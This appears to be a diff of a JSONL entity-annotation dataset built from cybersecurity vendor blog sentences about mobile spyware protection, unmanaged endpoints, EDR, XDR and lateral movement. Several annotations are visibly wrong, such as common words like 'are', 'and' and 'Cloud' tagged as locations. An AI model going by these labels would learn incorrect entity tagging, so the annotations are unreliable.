-{"id":14377,"text":"On one end of the spectrum are places like universities that maybe manage 10% of the endpoints on their network.","entities":[{"id":44427,"label":"location","start_offset":27,"end_offset":30},{"id":44428,"label":"location","start_offset":67,"end_offset":73}],"relations":[],"Comments":[]}
+{"id":14366,"text":"Downloading only from legitimate app stores like Google Play can prevent Maikspy from compromising computers and mobile devices.","entities":[],"relations":[],"Comments":[]}
+{"id":14367,"text":"It is also important to be aware of what apps are allowed to access, and to understand the risks before accepting any terms or granting certain permissions to apps.","entities":[],"relations":[],"Comments":[]}
+{"id":14368,"text":"Trend Micro’s Mobile App Reputation Service (MARS) already covers Android and iOS threats using leading sandbox and machine learning technology.","entities":[],"relations":[],"Comments":[]}
+{"id":14369,"text":"It can protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.","entities":[],"relations":[],"Comments":[]}
+{"id":14370,"text":"End users and enterprises can also benefit from multilayered mobile security solutions such as Trend Micro™ Mobile Security for Android™ which is also available on Google Play.","entities":[],"relations":[],"Comments":[]}
+{"id":14371,"text":"For organizations, Trend Micro™ Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning, as well as protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites.","entities":[],"relations":[],"Comments":[]}
+{"id":14372,"text":"The Trend Micro™ Deep Discovery™ threat protection platform enables companies to detect, analyze, and respond to modern threats such as sophisticated malware, targeted attacks, and APTs.","entities":[],"relations":[],"Comments":[]}
+{"id":14373,"text":"Trend Micro™ Smart Protection for Endpoints with Maximum XGen™ security infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across user activity and any endpoint—the broadest possible protection against advanced attacks.        Tags  APT & Targeted Attacks | Endpoints | Research | Mobile | Articles, News, Reports | Network","entities":[],"relations":[],"Comments":[]}
+{"id":14374,"text":"Real enterprises are messy places.","entities":[],"relations":[],"Comments":[]}
+{"id":14375,"text":"One messy reality is that enterprises don’t manage all their endpoints.","entities":[],"relations":[],"Comments":[]}
+{"id":14376,"text":"A smart colleague turned me onto using the % of endpoints and servers managed as a prime security metric.","entities":[],"relations":[],"Comments":[]}
+{"id":14377,"text":"On one end of the spectrum are places like universities that maybe manage 10% of the endpoints on their network.","entities":[],"relations":[],"Comments":[]}
 {"id":14378,"text":"On the other end are places like some large banking and R&D companies that can manage about 98 or 99%.","entities":[],"relations":[],"Comments":[]}
 {"id":14379,"text":"A financial services company that was spending millions of dollars on getting from 96% to achieving 98%, using the very good reasoning that they were “cutting their biggest security problem in half” rather than “2%, meh.” So even the very best enterprises can have unmanaged endpoints that can be more easily exploited than ones with a security agent deployed on them.","entities":[],"relations":[],"Comments":[]}
 {"id":14380,"text":"A lot of the advanced security we’ve been delivering on the last few years has been focused on this problem.","entities":[],"relations":[],"Comments":[]}
@@ -14384,7 +9698,7 @@
 {"id":14384,"text":"But most of EDR’s capabilities are for endpoints they are on: ones they manage.","entities":[],"relations":[],"Comments":[]}
 {"id":14385,"text":"Sure there’s some herd-immunity with EDR that the greater number of managed endpoints the harder it is for an attacker to move laterally or deeper.","entities":[],"relations":[],"Comments":[]}
 {"id":14386,"text":"But more capable, patient, and stealthy attackers are getting better at being evasive, knowing that EDR may be or is deployed.","entities":[],"relations":[],"Comments":[]}
-{"id":14387,"text":"Mark Nunnikhoven does a great job in this post talking about lateral movement.","entities":[],"relations":[],"Comments":[]}
+{"id":14387,"text":"Mark Nunnikhoven does a great job in this post talking about lateral movement.","entities":[{"id":51801,"label":"identity","start_offset":0,"end_offset":16},{"id":51802,"label":"attack-pattern","start_offset":61,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":14388,"text":"EDR can only go so far on its own to help spot attacks that are exceptionally low and slow, and\/or using unmanaged endpoints.","entities":[],"relations":[],"Comments":[]}
 {"id":14389,"text":"Endpoint security needs to step outside the endpoint silo to keep step with advanced attackers.","entities":[],"relations":[],"Comments":[]}
 {"id":14390,"text":"An attack using many hops could see movement between managed endpoints, IoT, email, network components, containers and cloud-based servers over the course of many months.","entities":[],"relations":[],"Comments":[]}
@@ -14394,9 +9708,6 @@
 {"id":14394,"text":"XDR is intended to be that security data lake of deeper enterprise infrastructure and security information than we’ve previously gathered in a single addressable pool and designed to be useful for threat hunters and analysts.","entities":[{"id":51776,"label":"SOFTWARE","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
 {"id":14395,"text":"In these posts here and here we talk about what XDR is and how it brings in more sources, such as network data.","entities":[{"id":51775,"label":"SOFTWARE","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":14396,"text":"In the game of measure-countermeasure that is cybersecurity today and tomorrow, XDR is the next evolutionary step in dealing with more evasive threats.","entities":[{"id":51774,"label":"SOFTWARE","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":14397,"text":"    Tags  Cloud | APT & Targeted Attacks | Cyber Crime | Expert Perspective | Articles, News, Reports | Cyber Threats","entities":[{"id":44501,"label":"location","start_offset":10,"end_offset":15},{"id":44502,"label":"location","start_offset":18,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":14398,"text":"As we’ve discussed in previous blogs, XDR is a better way to detect attacks within a network since it is able to coordinate and collaborate threat intelligence and data across multiple threat vectors, including endpoint (including mobile and IIoT), server, network, messaging, web, and cloud.","entities":[{"id":44503,"label":"location","start_offset":54,"end_offset":57},{"id":44504,"label":"location","start_offset":124,"end_offset":127},{"id":44505,"label":"location","start_offset":160,"end_offset":163},{"id":44506,"label":"location","start_offset":231,"end_offset":237},{"id":44507,"label":"location","start_offset":238,"end_offset":241},{"id":44508,"label":"location","start_offset":282,"end_offset":285},{"id":44509,"label":"location","start_offset":286,"end_offset":291}],"relations":[],"Comments":[]}
-{"id":14399,"text":"In this blog I want to discuss an area of the attack sequence that can help organizations identify an attack, and that is the lateral movement.","entities":[{"id":44510,"label":"location","start_offset":67,"end_offset":70},{"id":44511,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":14400,"text":"Malicious actors, once in an organization’s network, will need to move beyond their initial infection location to other parts of the network, seeking out areas that hold the data or critical systems they wish to utilize.","entities":[],"relations":[],"Comments":[]}
 {"id":14401,"text":"Whether that is the data center, an OT network, or finding critical business systems to support their criminal or destructive intent.","entities":[],"relations":[],"Comments":[]}
 {"id":14402,"text":"There are a number of ways lateral movement is performed, but the key is to hide and remove evidence of their presence.","entities":[],"relations":[],"Comments":[]}